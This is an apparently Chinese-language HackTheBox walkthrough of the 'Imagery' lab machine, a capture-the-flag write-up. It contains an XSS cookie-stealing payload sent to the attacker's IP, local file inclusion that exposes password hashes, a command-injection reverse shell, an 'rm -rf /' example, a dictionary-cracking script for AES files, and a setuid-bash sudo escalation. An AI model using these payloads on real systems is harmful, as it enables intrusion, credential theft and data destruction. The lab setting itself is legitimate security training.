Season9 - Imagery

https://app.hackthebox.com/machines/751

Recon

PortScan

➜  imagery nmap -sT -min-rate 10000 -p- 10.10.11.88   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 22:17 CST
Nmap scan report for 10.10.11.88
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
1234/tcp open  hotline
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 7.33 seconds

➜  imagery nmap -sT -A -p 22,1234,8000 10.10.11.88
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 22:20 CST
Nmap scan report for 10.10.11.88
Host is up (0.067s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
1234/tcp open  http    SimpleHTTPServer 0.6 (Python 3.12.7)
|_http-server-header: SimpleHTTP/0.6 Python/3.12.7
|_http-title: Directory listing for /
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   67.11 ms 10.10.14.1
2   64.72 ms 10.10.11.88

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.59 seconds

枚举

随意注册一个用户进行登录

登录进来后，看数据包，有我们登录的用户的数据

一开始以为是 jwt，但是貌似并不是

Cookie: session=.eJyrVkrJLC7ISaz0TFGyUrIwNjFJNk4zUdJRyix2TMnNzFOySkvMKU4F8eMzcwtSi4rz8xJLMvPS40tSi0tKi1OLkFXAxOITk5PzS_NK4HIgwbzE3FSgHYYOhXrJ-blKtQBa_iuB.aN_W1Q.P8aflniN6fcK97nVc568grDIlT0

目录扫描，超级慢，直接不扫了

➜  imagery gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -u http://10.10.11.88:8000
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.88:8000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 401) [Size: 59]
/login                (Status: 405) [Size: 153]
/register             (Status: 405) [Size: 153]
/logout               (Status: 405) [Size: 153]

随意上传了一张图片，但是很多功能都无法使用，所以我们应该先要获取管理员权限

因为是 python 服务器，大概率也不是打图片马，还有一个 Report Bug 功能

随便提交一些东西，提示：Bug report submitted. Admin review in progress. 表示管理员会对其进行审核，也就是使用着管理员的身份

不过首先还是测试一下是否存在 SQL 注入，手动和使用工具进行扫描一遍都没有扫描出来

➜  imagery sqlmap -r packet --level 3 --risk 3 --batch

XSS

根据上边的提示：Bug report submitted. Admin review in progress. 表示管理员会对其进行审核，也就是使用着管理员的身份

也就是我们提交 URL 或者 XSS 代码可能会触发到

首先输入一遍 URL，等待是否触发

并没有触发，尝试一下 XSS

经过测试后可以通过如下代码进行触发

<img src="http://10.10.14.113:8080/log?cookie=" + document.cookie>

尝试获取一下 cookie

最后通过如下代码可以触发得到 cookie

<img src=x onerror="this.src='http://10.10.14.113:8080/?'+document.cookie">

.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aN_lNA.JEUfB42pOi4xOGy9nt13xU-uCIY
.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOCUgw.7hoJx49e3QwScLnI0UYOoRH_x5Q

替换原本 cookie 后就能进入管理员面板（进入面板后疯狂跳其他 URL）

LFI 利用

后台貌似就多了一个功能 “Download Log”

抓包后进行测试，存在 LFI

有两个有 shell 的用户，mark 和 web

枚举目录，/var 里面没测出来，尝试 web 用户家目录

// app.py
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
    for collection_to_add in default_collections:
        if collection_to_add not in existing_collection_names_in_database:
            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
    _save_data(current_database_data)
    for user_entry in current_database_data.get('users', []):
        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
        if not os.path.exists(user_log_file_path):
            with open(user_log_file_path, 'w') as f:
                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
    port = int(os.environ.get("PORT", 8000))
    if port in BLOCKED_APP_PORTS:
        print(f"Port {port} is blocked for security reasons. Please choose another port.")
        sys.exit(1)
    app_core.run(debug=False, host='0.0.0.0', port=port)

包含配置文件 config.py ，还能得到一个新文件名 db.json

里面是用户的凭据

				{
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 2,
            "locked_until": null
        },
        {
            "username": "test@test.com",
            "password": "098f6bcd4621d373cade4e832627b4f6",
            "displayId": "5241c653",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },

其中 testuser 的密码可以解出来 iambatman

再审计一下其他文件，从 app.py 中可以得到好几个文件

from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

读取并通过 AI 进行审计，最后在 api_edit.py 审计到存在 RCE 漏洞

远程代码执行 (RCE) 漏洞 (Command Injection)

问题点: /apply_visual_transform 端点中的 crop 操作。

<PYTHON>
if transform_type == 'crop':
    x = str(params.get('x'))
    y = str(params.get('y'))
    width = str(params.get('width'))
    height = str(params.get('height'))
# VULNERABLE LINE: f-string formatting with shell=True
    command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
    subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

描述: 这段代码存在一个教科书式的命令注入漏洞。
1. 它使用 f-string 将用户直接提供的参数（width, height, x, y）拼接到一个命令字符串中。
2. 最致命的是，它使用了 subprocess.run 的 shell=True 参数。这会使操作系统 shell（如bash）来解释整个命令字符串。
攻击场景: 攻击者可以构造一个恶意的 JSON payload，将 shell 命令注入到参数中。例如：
```
<JSON>
{
  "imageId": "some-valid-id",
  "transformType": "crop",
  "params": {
    "width": "100; id",// Injects the 'id' command
    "height": "100",
    "x": "10",
    "y": "10"
  }
}
```
服务器将执行的命令会变成： convert <input> -crop 100; id x100+10+10 <output> Shell 会依次执行：
1. convert <input> -crop 100 (可能会失败)
2. id (成功执行，返回服务器用户信息)
3. x100+10+10 <output> (可能会失败) 攻击者可以注入任何命令，如 rm -rf / 来删除整个文件系统，或者 bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' 来获取一个反向 shell，从而完全控制服务器。

RCE

对上面的审计的结果进行测试

通过上面的到的用户进行登录

执行成功

进行反弹 shell

"x":"100; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.113/1234 0>&1';"

权限提升

zip.zes 解密

在 /backup 中找到一个压缩包，后缀是 zip.zes

bash-5.2$ ls
web_20250806_120723.zip.aes

.zip: 文件的原始形态是一个 ZIP 压缩包。
.aes: 这个 ZIP 包被使用了 AES (Advanced Encryption Standard) 算法进行了加密。

写一个脚本进行爆破，脚本调用 aescrypt ：https://www.aescrypt.com/download/

#!/usr/bin/env python3
import subprocess
import argparse
import os
import sys
import shutil

def check_dependencies():
    """检查 aescrypt 是否已安装并处于系统 PATH 中"""
    if not shutil.which("aescrypt"):
        print("[!] 错误: 'aescrypt' 命令未找到。", file=sys.stderr)
        print("    请先安装 aescrypt 并确保它在您的系统 PATH 中。", file=sys.stderr)
        print("    在 Debian/Ubuntu 上，可以运行: sudo apt-get install aescrypt", file=sys.stderr)
        sys.exit(1)

def crack_aes_file(aes_file, dictionary_file):
    """
    使用字典攻击来解密 AES 文件。

    :param aes_file: AES 加密文件的路径。
    :param dictionary_file: 密码字典文件的路径。
    """
    # 检查输入文件是否存在
    if not os.path.exists(aes_file):
        print(f"[!] 错误: 加密文件 '{aes_file}' 不存在。", file=sys.stderr)
        sys.exit(1)
        
    if not os.path.exists(dictionary_file):
        print(f"[!] 错误: 字典文件 '{dictionary_file}' 不存在。", file=sys.stderr)
        sys.exit(1)

    print(f"[*] 开始破解文件: {aes_file}")
    print(f"[*] 使用字典: {dictionary_file}")
    print("-" * 30)

    # 打开字典文件
    try:
        with open(dictionary_file, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                # 去除密码前后的空白字符，特别是换行符
                password = line.strip()
                
                # 跳过空行
                if not password:
                    continue

                # 打印当前尝试的密码，使用 '\r' 实现单行刷新效果
                print(f"[*] 正在尝试密码: {password.ljust(30)}", end='\r')

                # 构建 aescrypt 命令
                command = ['aescrypt', '-d', '-p', password, aes_file]
                
                # 执行命令并捕获输出
                # capture_output=True 會捕獲 stdout 和 stderr
                # text=True 会将输出解码为字符串
                result = subprocess.run(command, capture_output=True, text=True)

                # 检查标准错误输出
                # aescrypt 在密码错误时会将错误信息输出到 stderr
                error_message = "Message has been altered or password is incorrect"
                
                if error_message not in result.stderr:
                    # 如果错误信息不在输出中，说明密码可能正确
                    # 清除'正在尝试'那一行
                    print(" " * 60, end='\r') 
                    print(f"\n[+] 成功! 找到密码: {password}")
                    decrypted_file = aes_file.rsplit('.aes', 1)[0]
                    print(f"[*] 文件已解密为: {decrypted_file}")
                    return # 找到密码后，退出函数

    except FileNotFoundError:
        print(f"[!] 错误: 字典文件 '{dictionary_file}' 未找到。", file=sys.stderr)
        sys.exit(1)
    except Exception as e:
        print(f"\n[!] 发生未知错误: {e}", file=sys.stderr)
        sys.exit(1)

    # 如果循环结束仍未找到密码
    print("\n[-] 破解失败: 字典中未找到正确的密码。")

if __name__ == "__main__":
    # 设置命令行参数解析器
    parser = argparse.ArgumentParser(
        description="使用字典攻击破解 aescrypt 加密的 AES 文件。",
        formatter_class=argparse.RawTextHelpFormatter # 保持帮助信息格式
    )
    parser.add_argument("aes_file", help="要解密的 .aes 文件路径。")
    parser.add_argument("dictionary_file", help="包含密码列表的字典文件路径。")

    args = parser.parse_args()

    # 运行前检查依赖
    check_dependencies()
    
    # 开始破解
    crack_aes_file(args.aes_file, args.dictionary_file)

指定字典 rockyou.txt

解压出来后是 web 端源代码，但是 db.json 有 mark 的凭据

       {
            "username": "mark@imagery.htb",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },

解密得到密码 supersmash

尝试登录到 mark 尝试了通过 SSH 登录会提示需要进行公钥认证，懒得写公钥了直接打

读取 user.txt

bash-5.2$ cat user.txt 
c8cxxxxxxxxxxxxxxxxxxxxxxxxxaa5e

sudo 提权

查看 sudo 权限

bash-5.2$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

查看帮助

auto add --schedule "* * * * *" --command "chmod +s /bin/bash" --name "sunset"

等待执行即可

查看 /bin/bash 权限

bash-5.2$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1474768 Oct 26  2024 /bin/bash

读取 root.txt

bash-5.2# cat root.txt
a7xxxxxxxxxxxxxxxxxxxxxxxxxxxx

总结

还是很有意思的

HackTheBox - Season9 - Imagery